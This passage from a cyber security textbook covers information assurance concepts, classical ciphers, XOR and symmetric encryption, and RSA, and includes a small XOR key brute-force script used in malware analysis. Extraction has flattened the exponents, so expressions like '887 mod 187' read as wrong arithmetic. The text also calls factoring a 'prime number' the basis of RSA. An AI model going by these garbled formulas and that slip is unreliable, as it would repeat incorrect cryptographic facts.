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A Note from the Executive Editors

This is not your typical security book. Other books of this genre exist to 
prepare you for certification or to teach you how to use a tool, but none 
explains the concepts behind the security threats impacting enterprises 
every day in a manner and format conducive to quick understanding.

It is similar to a reference book, an encyclopedia of sorts, but not 
quite. It is not comprehensive enough to be an encyclopedia. This 
book does not cover every security concept from A to Z, just the ones 
that we have observed having the most impact on the large-enterprise 
network battle.

It is similar to books like the Unix Power Tools series, but again not 
quite. Those authors collected small snippets of practical information 
about how to run a UNIX machine. This book has no code samples. 
It is not a “how-to” book on hacking skills. This book, instead, covers 
key security concepts and what they mean to the enterprise in an easy-
to-read format that provides practical information and suggestions for 
common security problems. The essays in this book are short, designed 
to bring a reader up to speed on a subject very quickly. They are not 
70-page treatises, but rather high-level explanations about what the 
issue is, how it works, and what mitigation options are available.

It is similar to the Physician’s Desktop Reference (PDR), but once 
again not quite. The PDR is an annually published aggregation of 
drug manufacturers’ prescription information. The information in 
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this book does not change often enough to require an annual update. 
Most of the material covers baseline concepts with which all security 
practitioners should be familiar and may serve as the first step toward 
developing a prescription to solve security problems they are likely to 
see daily.

It is similar to military “smart books,” but, ultimately, not quite. 
Smart books are built by the soldiers themselves when they are placed 
in charge of a new mission. These are generally looseleaf notebooks 
that carry snippets of key information about how to get the job 
done—everything from stats about a unit’s combat reaction drills to 
information about the entire unit’s weapons capabilities. They contain 
checklists and how-to’s and FAQs and any other critical information 
that a soldier cannot afford to forget. In summary, we took the liberty 
of building a cyber security smart book for you.

This book builds on the methods that all these types of books use. 
The contents are inspired by the cyber security experts around the 
world who are continuously learning new concepts or who have to 
explain old concepts to bosses, peers, and subordinates. What they 
need is a desktop reference, a place to start to refresh their knowledge 
on old subjects they are already familiar with or to come up to speed 
quickly on something new they know nothing about.

We do not want you to read this from cover to cover. Go to the table 
of contents, pick a topic you are interested in, and understand it. Jump 
around; read what interests you most, but keep it handy for emergen-
cies—on your desk, on your bookshelf, or even in your e-book reader. 
By the time you are done with all the issues explained throughout this 
book, you will be the “go-to” person in your security organization. 
When you need a refresher or you need to learn something new, start 
here. That’s what we intend it to do for you.
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1
Cyber SeCurity 

FundamentalS

1.1 Network and Security Concepts

1.1.1 Information Assurance Fundamentals

Authentication, authorization, and nonrepudiation are tools that 
system designers can use to maintain system security with respect 
to confidentiality, integrity, and availability. Understanding each of 
these six concepts and how they relate to one another helps security 
professionals design and implement secure systems. Each component 
is critical to overall security, with the failure of any one component 
resulting in potential system compromise.

There are three key concepts, known as the CIA triad, which any-
one who protects an information system must understand: confidenti-
ality, integrity, and availability. Information security professionals are 
dedicated to ensuring the protection of these principals for each system 
they protect. Additionally, there are three key concepts that security 
professionals must understand to enforce the CIA principles properly: 
authentication, authorization, and nonrepudiation. In this section, we 
explain each of these concepts and how they relate to each other in 
the digital security realm. All definitions used in this section originate 
from the National Information Assurance Glossary (NIAG) published 
by the U.S. Committee on National Security Systems.1

1.1.1.1 Authentication Authentication is important to any secure sys-
tem, as it is the key to verifying the source of a message or that an 
individual is whom he or she claims. The NIAG defines authentication 
as a “security measure designed to establish the validity of a transmis-
sion, message, or originator, or a means of verifying an individual’s 
authorization to receive specific categories of information.”
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There are many methods available to authenticate a person. In each 
method, the authenticator issues a challenge that a person must answer. 
This challenge normally comprises requesting a piece of information 
that only authentic users can supply. These pieces of information nor-
mally fall into the three classifications known as factors of authentica-
tion (see Exhibit 1-1).

When an authentication system requires more than one of these fac-
tors, the security community classifies it as a system requiring multifac-
tor authentication. Two instances of the same factor, such as a password 
combined with a user’s mother’s maiden name, are not multifactor 
authentication, but combining a fingerprint scan and a personal iden-
tification number (PIN) is, as it validates something the user is (the 
owner of that fingerprint) and something the user knows (a PIN).

Authentication also applies to validating the source of a message, 
such as a network packet or e-mail. At a low level, message authen-
tication systems cannot rely on the same factors that apply to human 
authentication. Message authentication systems often rely on crypto-
graphic signatures, which consist of a digest or hash of the message 
generated with a secret key. Since only one person has access to the 
key that generates the signature, the recipient is able to validate the 
sender of a message.

Without a sound authentication system, it is impossible to trust 
that a user is who he or she says that he or she is, or that a message is 
from who it claims to be.

1.1.1.2 Authorization While authentication relates to verifying iden-
tities, authorization focuses on determining what a user has permission 

FACTOR EXAMPLES

Something 
You Know

Information the system assumes others do not know; this information may be 
secret, like a password or PIN code, or simply a piece of information that most 
people do not know, such as a user’s mother’s maiden name. 

Something 
You Have

Something the user possesses that only he or she holds; a Radio Frequency ID 
(RFID) badge, One-Time-Password (OTP) generating Token, or a physical key

Something 
You Are

A person’s fingerprint, voice print, or retinal scan—factors known as biometrics

Exhibit 1-1 Factors of authentication.
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to do. The NIAG defines authorization as “access privileges granted to 
a user, program, or process.”

After a secure system authenticates users, it must also decide what 
privileges they have. For instance, an online banking application will 
authenticate a user based on his or her credentials, but it must then 
determine the accounts to which that user has access. Additionally, 
the system determines what actions the user can take regarding those 
accounts, such as viewing balances and making transfers.

1.1.1.3 Nonrepudiation Imagine a scenario wherein Alice is purchas-
ing a car from Bob and signs a contract stating that she will pay 
$20,000 for the car and will take ownership of it on Thursday. If 
Alice later decides not to buy the car, she might claim that someone 
forged her signature and that she is not responsible for the contract. 
To refute her claim, Bob could show that a notary public verified 
Alice’s identity and stamped the document to indicate this verifica-
tion. In this case, the notary’s stamp has given the contract the prop-
erty of nonrepudiation, which the NIAG defines as “assurance the 
sender of data is provided with proof of delivery and the recipient is 
provided with proof of the sender’s identity, so neither can later deny 
having processed the data.”

In the world of digital communications, no notary can stamp each 
transmitted message, but nonrepudiation is still necessary. To meet 
this requirement, secure systems normally rely on asymmetric (or 
public key) cryptography. While symmetric key systems use a single 
key to encrypt and decrypt data, asymmetric systems use a key pair. 
These systems use one key (private) for signing data and use the other 
key (public) for verifying data. If the same key can both sign and 
verify the content of a message, the sender can claim that anyone 
who has access to the key could easily have forged it. Asymmetric 
key systems have the nonrepudiation property because the signer of 
a message can keep his or her private key secret. For more informa-
tion on asymmetric cryptography, see the “State of the Hack” article 
on the subject published in the July 6, 2009, edition of the Weekly 
Threat Report.2

1.1.1.4 Confidentiality The term confidentiality is familiar to most 
people, even those not in the security industry. The NIAG defines 
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confidentiality as “assurance that information is not disclosed to unau-
thorized individuals, processes, or devices.”

Assuring that unauthorized parties do not have access to a piece of 
information is a complex task. It is easiest to understand when broken 
down into three major steps. First, the information must have protec-
tions capable of preventing some users from accessing it. Second, limita-
tions must be in place to restrict access to the information to only those 
who have the authorization to view it. Third, an authentication system 
must be in place to verify the identity of those with access to the data. 
Authentication and authorization, described earlier in this section, are 
vital to maintaining confidentiality, but the concept of confidentiality 
primarily focuses on concealing or protecting the information.

One way to protect information is by storing it in a private location 
or on a private network that is limited to those who have legitimate 
access to the information. If a system must transmit the data over a 
public network, organizations should use a key that only authorized 
parties know to encrypt the data. For information traveling over 
the Internet, this protection could mean using a virtual private net-
work (VPN), which encrypts all traffic between endpoints, or using 
encrypted e-mail systems, which restrict viewing of a message to the 
intended recipient. If confidential information is physically leaving 
its protected location (as when employees transport backup tapes 
between facilities), organizations should encrypt the data in case it 
falls into the hands of unauthorized users.

Confidentiality of digital information also requires controls in the 
real world. Shoulder surfing, the practice of looking over a person’s 
shoulder while at his or her computer screen, is a nontechnical way 
for an attacker to gather confidential information. Physical threats, 
such as simple theft, also threaten confidentiality. The consequences 
of a breach of confidentiality vary depending on the sensitivity of the 
protected data. A breach in credit card numbers, as in the case of the 
Heartland Payment Systems processing system in 2008, could result 
in lawsuits with payouts well into the millions of dollars.

1.1.1.5 Integrity In the information security realm, integrity normally 
refers to data integrity, or ensuring that stored data are accurate and 
contain no unauthorized modifications. The National Information 
Assurance Glossary (NIAG) defines integrity as follows:
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Quality of an IS (Information System) reflecting the logical correctness 
and reliability of the operating system; the logical completeness of the 
hardware and software implementing the protection mechanisms; and 
the consistency of the data structures and occurrence of the stored data. 
Note that, in a formal security mode, integrity is interpreted more nar-
rowly to mean protection against unauthorized modification or destruc-
tion of information.3

This principal, which relies on authentication, authorization, and 
nonrepudiation as the keys to maintaining integrity, is preventing 
those without authorization from modifying data. By bypassing an 
authentication system or escalating privileges beyond those normally 
granted to them, an attacker can threaten the integrity of data.

Software flaws and vulnerabilities can lead to accidental losses 
in data integrity and can open a system to unauthorized modifica-
tion. Programs typically tightly control when a user has read-to-write 
access to particular data, but a software vulnerability might make 
it possible to circumvent that control. For example, an attacker can 
exploit a Structured Query Language (SQL) injection vulnerability 
to extract, alter, or add information to a database.

Disrupting the integrity of data at rest or in a message in transit 
can have serious consequences. If it were possible to modify a funds 
transfer message passing between a user and his or her online banking 
website, an attacker could use that privilege to his or her advantage. 
The attacker could hijack the transfer and steal the transferred funds 
by altering the account number of the recipient of the funds listed in 
the message to the attacker’s own bank account number. Ensuring the 
integrity of this type of message is vital to any secure system.

1.1.1.6 Availability Information systems must be accessible to users 
for these systems to provide any value. If a system is down or respond-
ing too slowly, it cannot provide the service it should. The NIAG 
defines availability as “timely, reliable access to data and information 
services for authorized users.”

Attacks on availability are somewhat different from those on integ-
rity and confidentiality. The best-known attack on availability is a 
denial of service (DoS) attack. A DoS can come in many forms, but 
each form disrupts a system in a way that prevents legitimate users 
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from accessing it. One form of DoS is resource exhaustion, whereby 
an attacker overloads a system to the point that it no longer responds 
to legitimate requests. The resources in question may be memory, 
central processing unit (CPU) time, network bandwidth, and/or any 
other component that an attacker can influence. One example of a 
DoS attack is network flooding, during which the attacker sends so 
much network traffic to the targeted system that the traffic saturates 
the network and no legitimate request can get through.

Understanding the components of the CIA triad and the concepts 
behind how to protect these principals is important for every security 
professional. Each component acts like a pillar that holds up the secu-
rity of a system. If an attacker breaches any of the pillars, the security 
of the system will fall. Authentication, authorization, and nonrepu-
diation are tools that system designers can use to maintain these pil-
lars. Understanding how all of these concepts interact with each other 
is necessary to use them effectively.

1.1.2 Basic Cryptography

This section provides information on basic cryptography to explain 
the history and basics of ciphers and cryptanalysis. Later sections will 
explain modern cryptography applied to digital systems.

The English word cryptography derives from Greek and translates 
roughly to “hidden writing.” For thousands of years, groups who wanted 
to communicate in secret developed methods to write their messages 
in a way that only the intended recipient could read. In the information 
age, almost all communication is subject to some sort of eavesdropping, 
and as a result cryptography has advanced rapidly. Understanding how 
cryptography works is important for anyone who wants to be sure that 
their data and communications are safe from intruders. This section 
discusses cryptography, starting with basic ciphers and cryptanalysis.

The ancient Egyptians began the first known practice of writ-
ing secret messages, using nonstandard hieroglyphs to convey secret 
messages as early as 1900 bc. Since that time, people have developed 
many methods of hiding the content of a message. These methods are 
known as ciphers.

The most famous classical cipher is the substitution cipher. 
Substitution ciphers work by substituting each letter in the alphabet 
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with another one when writing a message. For instance, one could 
shift the letters of the English alphabet as shown:

abcdefghijklmnopqrstuvwxyz
nopqrstuvwxyzabcdefghijklm

Using this cipher, the message “the act starts at midnight” would be 
written as “gur npg fgnegf ng zvqavtug.” The text above, showing how 
to decode the message, is known as the key. This is a very simple sub-
stitution cipher known as the Caesar cipher (after Julius Caesar, who 
used it for military communications) or ROT13 because the charac-
ters in the key are rotated thirteen spaces to the left.

Cryptography is driven by the constant struggle between people 
who want to keep messages secret and those who work to uncover 
their meanings. Substitution ciphers are very vulnerable to crypta-
nalysis, the practice of breaking codes. With enough text, it would be 
simple to begin replacing characters in the ciphertext with their pos-
sible cleartext counterparts. Even without knowing about the Caesar 
cipher, it is easy to guess that a three-letter word at the beginning of 
a sentence is likely to be the. By replacing all instances of the letters g, 
u, and r with t, h, and e, the ciphertext changes to

the npt ftnetf nt zvqavtht

Next, the analyst might notice that the fourth word is only two letters 
long and ends with t. There are two likely possibilities for this word: at 
and it. He chooses at and replaces all occurrences of n in the sentence 
with an a.

the apt ftaetf at zvqavtht

With at in place, the pattern is clearer, and the analyst guesses that if 
the letter g translates to t, the adjacent letter f may translate to s.

the apt staets at zvqavtht

The word sta_ts now looks very close to starts, and the analyst makes 
another substitution, indicating that rst is equivalent to efg, which 
reveals the full pattern of the cipher and the message. While the 
message is now clear, the meaning of “the act starts at midnight” is 
not. Code words are an excellent way of hiding a message but, unlike 



8	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

cryptography, cannot hide the meaning of arbitrary information with-
out agreement on the meaning of the code words in advance.

Short messages can be difficult to decrypt because there is little for 
the analyst to study, but long messages encrypted with substitution 
ciphers are vulnerable to frequency analysis. For instance, in the English 
language, some letters appear in more words than others do. Exhibit 
1-2 shows the frequency of each letter in the English language.

E is by far the most common letter in the English language and, as 
such, is also the most likely character in an article written in English. 
Using the table above, an analyst could determine the most likely 
cleartext of any ciphertext encrypted with a substitution cipher. As 
shown in the example sentence above, while the ciphertext appears to 
be random, patterns remain that betray the original text.

The ultimate goal of any cipher is to produce ciphertext that is 
indistinguishable from random data. Removing the patterns inherent 
in the original text is crucial to producing ciphertext that is impos-
sible to decode without the original key. In 1917, Gilbert Vernam 

LETTER FREQUENCY LETTER FREQUENCY

e 12.70% m 2.41%

t 9.06% w 2.36%

a 8.17% f 2.23%

o 7.51% g 2.02%

i 6.97% y 1.97%

n 6.75% p 1.93%

s 6.33% b 1.49%

h 6.09% v 0.98%

r 5.99% k 0.77%

d 4.25% j 0.15%

l 4.03% x 0.15%

c 2.78% q 0.10%

u 2.76% z 0.07%

Exhibit 1-2 Frequency of letters in the English language.
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developed the one-time pad, a cryptographic cipher that, with a prop-
erly randomized key, produces unbreakable ciphertext. A one-time 
pad is similar to a substitution cipher, for which another letter based 
on a key replaces a letter, but rather than using the same key for the 
entire message, a new key is used for each letter. This key must be at 
least as long as the message and not contain any patterns a cryptana-
lyst could use to break the code.

Imagine a room filled with lottery cages such as the one shown in 
Exhibit 1-3. Each cage contains twenty-six balls numbered 1–26. A 
person stands next to each cage, turning the crank until a single ball 
rolls out; that person records the number on a pad of paper, and puts 
the ball back into the cage. Doing this repeatedly would eventually 
generate a very long string of random numbers. We can use these num-
bers to encrypt our message with a one-time pad. In the first row in the 
key shown below, we have our original cleartext (“Clear”) and, below 
that, the numbers generated by our lottery cage (“Cage”). To apply the 
one-time pad, we perform the same rotation of the alphabet as in the 
substitution cipher above, but we rotate the alphabet by the random 
number, resulting in the ciphertext (“Cipher”) in the third row.

Clear T h e a c T s t a r t s a t m i d n i g h t

Cage 22 19 2 11 5 12 19 5 16 12 6 11 5 2 19 15 24 20 18 2 21 6 5 19 17 21

Cipher O g k f o L e h e g b y u s p q t d k y t n z y n

The letter a at the beginning of act is rotated five spaces to the 
right, resulting in the letter f; however, the letter a at the beginning 

Exhibit 1-3 A lottery cage randomizes the number selection.
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of at is rotated fifteen spaces, resulting in the letter p. The recipient 
can decrypt the text by reversing the function, rotating the alphabet 
left by the number specified in the key rather than right. A frequency 
analysis will fail against this cipher because the same character in the 
ciphertext can be the result of different inputs from the cleartext. The 
key to the one-time pad is only using it one time. If the cryptographer 
uses the numbers in a repeating pattern or uses the same numbers to 
encode a second message, a pattern may appear in the ciphertext that 
would help cryptanalysts break the code. The study of cryptography 
advanced greatly during World War II due to the invention of radio 
communication. Anyone within range of a radio signal could listen to 
the transmission, leading both sides to spend countless hours study-
ing the art of code making and code breaking.

The problem with one-time pads is that they are cumbersome to 
generate and have a limited length. If a submarine captain goes to 
sea for six months, he must have enough one-time pads with him to 
encode every message he intends to send to central command. This 
dilemma led to the development of machines that could mimic the 
properties of a one-time pad but without the need to generate long 
keys and carry books of random numbers. The most famous machine 

Exhibit 1-4 The German Enigma coding machine.
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of this type is the Enigma, invented by the German engineer Arthur 
Scherbius at the end of World War I.4 The Enigma (see Exhibit 1-4)5 
used a series of rotors (see Exhibit 1-5)6 to encrypt each letter typed 
into it with a different key. Another user with an enigma machine 
could decode the message because their system had the same combi-
nation of encoded rotors.

The Enigma could not perfectly replicate a one-time pad because 
any system that does not begin with random input will eventually 
reveal a pattern. British mathematicians eventually discovered pat-
terns in Enigma messages, giving them the capability to read many 
German military secrets during World War II. Since the invention of 
modern electronic computers, cryptography has changed significantly. 
We no longer write messages on paper pads or speak them character 
by character into a microphone but transmit them electronically as 
binary data. The increase in computing power also gives cryptanalysts 
powerful new tools for analyzing encrypted data for patterns. These 
developments have led to new algorithms and techniques for hiding 
data. The next section provides some detail about modern cryptog-
raphy and how the principles of classical cryptography are applied to 
digital systems.

1.1.3 Symmetric Encryption

Although symmetric encryption requires a shared key and therefore 
depends upon the secrecy of that key, it is an effective and fast method 

Exhibit 1-5 Enigma rotors.
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for protecting the confidentiality of the encrypted content. In this sec-
tion we explain the basics of symmetric encryption and how it differs 
from asymmetric algorithms. Symmetric encryption is a class of revers-
ible encryption algorithms that use the same key for both encrypting 
and decrypting messages.

Symmetric encryption, by definition, requires both communica-
tion endpoints to know the same key in order to send and receive 
encrypted messages (see Exhibit 1-6). Symmetric encryption depends 
upon the secrecy of a key. Key exchanges or pre-shared keys present a 
challenge to keeping the encrypted text’s confidentiality and are usu-
ally performed out of band using different protocols.

Algorithms in this category are usually fast because their opera-
tions use cryptographic primitives. As previously discussed in Basic 
Cryptography we explained how the cryptographic primitive sub-
stitution works. Permutation, or altering the order, is another cryp-
tographic primitive that many symmetric algorithms also use in 
practice.7

1.1.3.1 Example of Simple Symmetric Encryption with Exclusive OR 
(XOR) At its most basic level, symmetric encryption is similar to an 
exclusive OR (XOR) operation, which has the following truth table 
for input variables p and q:

P Q = P XOR Q

True True False
True False True
False True True
False False False

Encryption Decryption

txet nialP
Sender

Plaintext
Receiver
Plaintext

Internet

Exhibit 1-6 Symmetric encryption: the sender and receiver use the same key.
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The XOR operation is nearly the same as one would expect for OR, 
except when both p and q are true. The properties of XOR make it 
ideal for use in symmetric cryptography because one of the inputs (p) 
can act as the message and the other input (q) can act as the key. The 
recipient of an encrypted message (p XOR q) decrypts that message by 
performing the same XOR operation that the sender used to encrypt 
the original message (p).

P XOR Q Q = (P XOR Q) XOR Q

False True True
True False True
True True False
False False False

The operation above shows how to decrypt the encrypted message (p 
XOR q) to obtain the original message (p). Applying this technique to 
larger values by using their individual bits and agreeing on a common 
key (q) represents the most basic symmetric encryption algorithm.

Encryption using XOR is surprisingly common in unsophisticated 
malicious code, including shellcode, even as a means to hide logging 
or configuration information. Due to its simplicity, many unsophisti-
cated attackers use either one-byte XOR keys or multibyte XOR keys 
to hide data. The Python script below demonstrates how to brute force 
single-byte XOR keys when they contain one of the expected strings: 
.com, http, or pass.

count = len(data)
for key in range(1,255):
 out = ‘‘
 for x in range(0,count):
 out += chr(ord(data[x]) ^ int(key))
 results = out.count(‘.com’) + out.count(‘http’) + 
out.count(‘pass’)
 if results:
print “Encryption key: \t%d matched: %d” % (key,results)
print out

While this script is effective when the original message contains a 
URL or password string, analysts could use other techniques to iden-
tify expected results such as character distribution or words in the 
English language.
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The reason it is possible to brute force an XOR key that uses just 
one byte is that the length of the key is so small. One byte (8 bits) 
allows for only 256 possible key combinations. A two-byte (16 bits) 
key creates 65,536 possible keys, but this number is still quite easy to 
brute force with modern computing power. Modern cryptographic 
ciphers typically use 128-bit keys, which are still infeasible to brute 
force with today’s computing power.

The XOR operation is an example of a stream cipher, which means 
that the key operates on every bit or byte to encrypt a message. Like 
traditional substitution ciphers, XOR leaves patterns in ciphertext 
that a cryptanalyst could use to discover the plaintext. Performing 
an XOR operation on the same data twice with the same key will 
always result in the same ciphertext. Modern stream ciphers like 
RC4, designed by Ron Rivest in 1987, avoid this problem by using 
a pseudo-random number generation (PRNG) algorithm. Instead of 
performing an XOR on each byte of data with a key, a PRNG receives 
a chosen key, used as a “seed.” A PRNG generates numbers that are 
close to random but will always be the same given the same seed. RC4 
uses the PRNG to create an infinitely long, one-time pad of single-
byte XOR keys. This technique allows the sender to encrypt a mes-
sage with a single (relatively short) key, but for each individual byte, 
the XOR key is different.

1.1.3.2 Improving upon Stream Ciphers with Block Ciphers Block ciphers 
are more common in symmetric encryption algorithms because they 
operate on a block of data rather than each character (bit or byte). 
PRNG algorithms used in stream ciphers are typically time intensive. 
Block ciphers are the best choice for bulk data encryption. Stream 
ciphers remove patterns from ciphertext using PRNGs, but block 
ciphers use a more efficient method called cipher block chaining (CBC).

When using a block cipher in CBC mode, both a key and a random 
initialization vector (IV) convert blocks of plaintext into ciphertext. 
The initialization vector and plaintext go through an XOR operation, 
and the result is an input to the block cipher with the chosen key (see 
Exhibit 1-7). This ensures that the resulting ciphertext is different, 
even if the same key was used to encrypt the same plaintext, as long 
as the IV is different and sufficiently random with each execution of 
the algorithm.
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The next block will be encrypted with the same key, but instead of 
using the original IV, CBC mode uses the ciphertext generated by the 
last function as the new IV. In this way, each block of cipher text is 
chained to the last one. This mode has the drawback of data corrup-
tion at the beginning of the file, resulting in complete corruption of 
the entire file, but is effective against cryptanalysis.

All of the most popular symmetric algorithms use block ciphers 
with a combination of substitution and permutation. These include 
the following:

• 1977 DES
• 1991 IDEA
• 1993 Blowfish
• 1994 RC5
• 1998 Triple DES
• 1998 AES

iDefense analyzed several malicious code attacks that encrypt data 
using the popular algorithms shown in this list. Due to attackers 
including the decryption or encryption key on an infected system, 
analysts can attempt to decrypt messages of this type. Additionally, 
analysis of the system memory before encryption or after decryption 
may be effective at revealing the original message.

Programmers may wish to write custom encryption algorithms, in 
the hopes that their infrequent or unusual use will detract attackers; 
however, such algorithms are usually risky. As an example of this, 
consider how a programmer who applies the data encryption standard 
(DES) algorithm twice could affect the strength of the message. Using 
double DES does not dramatically increase the strength of a message 

Initialization Vector (IV)

Plaintext

Ciphertext

Plaintext

Ciphertext

Key KeyBlock Cipher
Encryption

Block Cipher
Encryption

Plaintext

Ciphertext

Key Block Cipher
Encryption

Exhibit 1-7 Cipher block chaining (CBC) mode encryption. Source: Cipher block chaining http://
en.wikipedia.org/wiki/File:Cbc_encryption.png.
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over DES. The reason is that an attacker can compare the decryption 
of the ciphertext and the encryption of the plaintext. When both of 
these values match, the attacker has successfully identified both keys 
used for encrypting the message.

Symmetric encryption can be very fast and protect sensitive infor-
mation provided the key remains secret. The grouping of larger blocks 
of data in the encryption algorithm makes it more difficult to decrypt 
without the key. Key exchange and protection are the most important 
aspects of symmetric cryptography because anyone who has the key 
can both encrypt and decrypt messages. Asymmetric algorithms are 
different because they use different keys for encryption and decryp-
tion, and in this way, public key encryption can solve other goals 
beyond symmetric algorithms that protect confidentiality.

1.1.4 Public Key Encryption

This section continues this series with a brief discussion of asymmet-
ric encryption, more commonly referred to as public key encryption.

Public key encryption represents a branch of cryptography for 
which the distinguishing attribute of the system is the use of two 
linked keys for encryption and decryption, rather than a single key. 
While a variety of public key encryption solutions have been pro-
posed, with some implemented and standardized, each system shares 
one common attribute: each public key system uses one key, known as 
the public key, to encrypt data, and a second key, known as the private 
key, to decrypt the encrypted data.

Public key encryption solves one of the major issues with symmet-
ric key encryption, namely, the use of a shared key for both sides of 
the conversation. In public key systems, the intended recipient of a 
secure communication publishes his or her public key. Anyone wish-
ing to send a secure datagram to the recipient uses the recipient’s pub-
lic key to encrypt the communication; however, those in possession of 
the public key cannot use the key to decrypt the communication. The 
use of a public key is a one-way cryptographic operation. This allows 
recipients to give out their public keys without the risk of someone 
using the same public keys to reveal the original content of the mes-
sages sent. This is the most obvious advantage over symmetric encryp-
tion. To decrypt the encrypted message, the recipient uses his or her 
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private key. The private key has a mathematical relationship to the 
public key, but this relationship does not provide an easy way for an 
attacker to derive the private key from the public key. Given the fact 
that the recipient uses the private key to decrypt messages encoded 
with the public key, it is paramount that the owner of the private key 
keeps it secure at all times.

Visually, the process of encrypting and decrypting a message using 
the public key method is similar to the process of using symmetric 
encryption with the notable exception that the keys used in the pro-
cess are not the same. Exhibit 1-8 illustrates this disconnect.

One of the simplest analogies for public key encryption is the lock 
box analogy. In essence, if an individual (Blake, for example) wanted 
to send a message to another individual (Ryan, for example) without 
exchanging a shared cryptographic key, Blake could simply place his 
communication in a box and secure it with a lock that only Ryan could 
open. For Blake to possess such a lock, the box would need to be 
publicly available. In this case, that lock represents Ryan’s public key. 
Blake could then send the locked box to Ryan. Upon receiving the 
box, Ryan would use his key to unlock the box to retrieve the message. 
In this situation, once Blake has locked (encrypted) his message to 
Ryan into the lock box with Ryan’s lock (public key), Blake, or anyone 
else who may come in contact with the lock box, will be unable to 
access the contents. Only with Ryan’s private key to the lock box will 
the message become retrievable.

Encryption Decryption

txet nialP
Sender

Plaintext
Receiver
Plaintext

Encryption Decryption

12359843212465
76865432135498
78435432157695

Sender
Plaintext

Receiver

Receiver’s
Private Key

Receiver’s
Public Key

Plaintext

Internet

Internet

Exhibit 1-8 Symmetric encryption (top) versus public key encryption (bottom).
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Unlike symmetric encryption schemes that rely on a shared 
key and the use of substitutions and permutations of the data 
stream, public key encryption systems use mathematical functions. 
Researchers have developed a variety of public key–asymmetric 
encryption schemes, some more practical than others, but each of 
these schemes relies on the use of mathematical functions to encrypt 
and decrypt the data stream. A key attribute of the process is the 
fact that while both the public key and private key are mathemati-
cally related, it is practically impossible, given a finite time frame, 
to derive the private key from the public key. This fact allows the 
unbiased distribution of the recipient’s public key without the fear 
that an attacker can develop the private key from the public key to 
decrypt the encoded message.

Whitfield Diffie and Martin Hellman developed one of the first 
asymmetric encryption schemes in 1976.8 Their original work focused 
on the framework of establishing an encryption key for communica-
tion between two parties that must talk over an untrusted and inse-
cure communication medium. Later, in 1979, researchers at MIT 
(Ron Rivest, Adi Shamir, and Leonard Adleman)9 expanded on this 
research to develop one of the widest used public key encryption sys-
tems in use today. Known as the RSA system, a name derived from the 
original inventors’ last names, the system uses large prime numbers 
to encrypt and decrypt communication. While the math involved is 
somewhat cumbersome for the confines of this text, in essence the 
RSA process works as such:

 1. The recipient generates three numbers: one to be used as an 
exponential (e), one as a modulus (n), and one as the multipli-
cative inverse of the exponential with respect to the modulus 
(d). The modulus n should be the product of two very large 
prime numbers, p and q. Thusly, n = pq.

 2. The recipient publishes his or her public key as (e, n).
 3. The sender transforms the message (M) to be encrypted into 

an integer whose value is between 0 and (n−1). If the message 
cannot fit within the confines of this integer space, the mes-
sage is broken into multiple blocks.

 4. The sender generates the ciphertext (C) by applying the fol-
lowing mathematical function:
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 C = Me mod n

 5. The sender transmits the ciphertext to the recipient.
 6. The recipient uses the pair (d, n) as the private key in order 

to decrypt the ciphertext. The decryption process uses the 
following mathematical transform to recover the original 
plaintext:

 M = Cd mod n

The power of the RSA scheme lays in the use of the large prime 
numbers p and q. Factoring an extremely large prime number (on the 
order of 21024 or 309 digits) is an exceedingly difficult task—a task for 
which there is no easy solution. To understand how the RSA scheme 
works in simpler terms, it is best to use a simpler, smaller example:10

 1. The recipient chooses two prime numbers: for example, p = 17 
and q = 11.

 2. The recipient calculates n by multiplying the two prime num-
bers together: (n = 187).

 3. The recipient chooses an exponent such that the exponent is 
less than (p−1)(q−1), which is 160, and the exponent is rela-
tively prime to this number. In this scenario, a recipient could 
choose the number 7, as it is less than 160 and relatively prime 
to 160.

 4. The value of d is calculated by solving de = 1 (mod 160) with 
d < 160. The math behind this calculation is beyond the scope 
of this book; however, in this scenario, d has the value of 23.

 5. At this point in the scenario, the recipient could have devel-
oped a private key of (23, 187) and a public key of (7, 187).

If the sender were to encrypt the message of 88 (which is between 
0 and 186) using the RSA method, the sender would calculate 887 
mod 187, which equals 11. Therefore, the sender would transmit the 
number 11 as the ciphertext to the recipient. To recover the original 
message, the recipient would then need to transform 11 into the origi-
nal value by calculating 1123 mod 187, which equals 88. Exhibit 1-9 
depicts this process.

As seen in the previous example, public key encryption is a com-
putationally expensive process. As such, public key encryption is not 
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suited for bulk data encryption. The computational overhead resulting 
from public key encryption schemes is prohibitive for such an appli-
cation. Smaller messages and symmetric encryption key exchanges 
are ideal applications for public key encryption. For example, secure 
socket layer (SSL) communication uses public key encryption to 
establish the session keys to use for the bulk of the SSL traffic. The 
use of public key encryption to communicate the key used in a sym-
metric encryption system allows two parties communicating over an 
untrusted medium to establish a secure session without undue pro-
cessing requirements.

Compared to the old symmetric encryption, public key encryp-
tion is a new technology revolutionizing the field of cryptography. 
The encryption scheme allows parties to communicate over hostile 
communication channels with little risk of untrusted parties revealing 
the contents of their communication. The use of two keys—one public 
and one private—reduces the burden of establishing a shared secret 
prior to the initial communication. While the mathematics involved 
in public key encryption is complex, the result is an encryption system 
that is well suited for untrusted communication channels.

1.1.5 The Domain Name System (DNS)

This section explains the fundamentals of the domain name sys-
tem (DNS), which is an often overlooked component of the Web’s 
infrastructure, yet is crucial for nearly every networked application. 
Many attacks, such as fast-flux and DNS application, take advan-
tage of weaknesses in the DNS design that emphasize efficiency over 

Plaintext
88

Plaintext
88

Private Key (23, 187)Public Key (7, 187)

Encryption
887 mod 187 = 11

Decryption
1123 mod 187 = 88Ciphertext “11”

Exhibit 1-9 An RSA encryption–decryption example. Note: RSA stands for Ron Rivest, Adi Shamir, 
and Leonard Adleman, its inventors.
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security. Later sections will discuss some attacks that abuse the DNS 
and will build upon the base information provided in this section.

DNS is a fundamental piece of the Internet architecture. Knowledge 
of how the DNS works is necessary to understand how attacks on the 
system can affect the Internet as a whole and how criminal infrastruc-
ture can take advantage of it.

The Internet Protocol is the core protocol the Internet uses. Each 
computer with Internet access has an assigned IP address so that other 
systems can send traffic to it. Each IP address consists of four num-
bers between 0 and 255 separated by periods, such as 74.125.45.100. 
These numbers are perfect for computers that always deal with bits 
and bytes but are not easy for humans to remember. To solve this 
problem, the DNS was invented in 1983 to create easy-to-remember 
names that map to IP address.

The primary goal that the designers of the DNS had in mind was 
scalability. This goal grew from the failure of the previous solution 
that required each user to download a multithousand-line file named 
hosts.txt from a single server. To create a truly scalable system, the 
designers chose to create a hierarchy of “domains.” At the top of the 
hierarchy is the “root” domain under which all other domains reside. 
Just below the root domain are top-level domains (TLD) that break 
up the major categories of domains such as .com, .gov, and the coun-
try code TLDs. Below the TLDs are second-level domains that orga-
nizations and individuals can register with the registry that manages 
